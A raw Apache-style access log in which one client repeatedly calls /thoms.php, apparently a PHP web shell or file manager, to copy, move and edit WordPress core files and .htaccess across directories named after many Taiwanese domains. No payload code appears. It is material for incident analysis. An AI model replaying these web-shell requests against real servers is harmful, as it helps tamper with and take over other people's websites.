45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=ba-guo.com.tw HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22127 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=betcity.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=big-wife.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bogroup.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=besth2o.com.tw HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bioway88.com.tw HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11368 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bestzyx.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22190 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22201 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bfl.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bft.com.tw HTTP/1.1" 200 11417 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=biotaiwan.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=booking-wise2.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=wp-content HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=wp-content-20260912023544 HTTP/1.1" 200 11376 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bestjudy.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bodbooks.com.tw HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin&p=upgrade HTTP/1.1" 200 11378 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:26 -0400] "GET /thoms.php?edit=wp-blog-header.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 15425 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?edit=wp-blog-header.php&p=betcity.com.tw HTTP/1.1" 200 11796 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?edit=wp-mail.php&p=betcity.com.tw HTTP/1.1" 200 15085 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?edit=wp-mail.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 18706 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18136 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18135 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p= HTTP/1.1" 200 12358 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Findex.php&p= HTTP/1.1" 200 12354 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Findex.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Findex.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Findex.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18246 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Findex.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11854 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Findex.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Findex.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18247 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Findex.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11312 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Findex.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11319 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Freadme.html&p= HTTP/1.1" 200 12347 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Freadme.html&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Freadme.html&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Freadme.html&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Freadme.html&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Freadme.html&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18430 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Freadme.html&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18431 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Freadme.html&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Freadme.html&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?edit=license.txt&p=betcity.com.tw HTTP/1.1" 200 19831 "http://163.245.207.76:443/thoms.php?edit=license.txt&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?edit=license.txt&env=ace&p=betcity.com.tw HTTP/1.1" 200 23485 "http://163.245.207.76:443/thoms.php?edit=license.txt&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.htaccess&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.htaccess&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
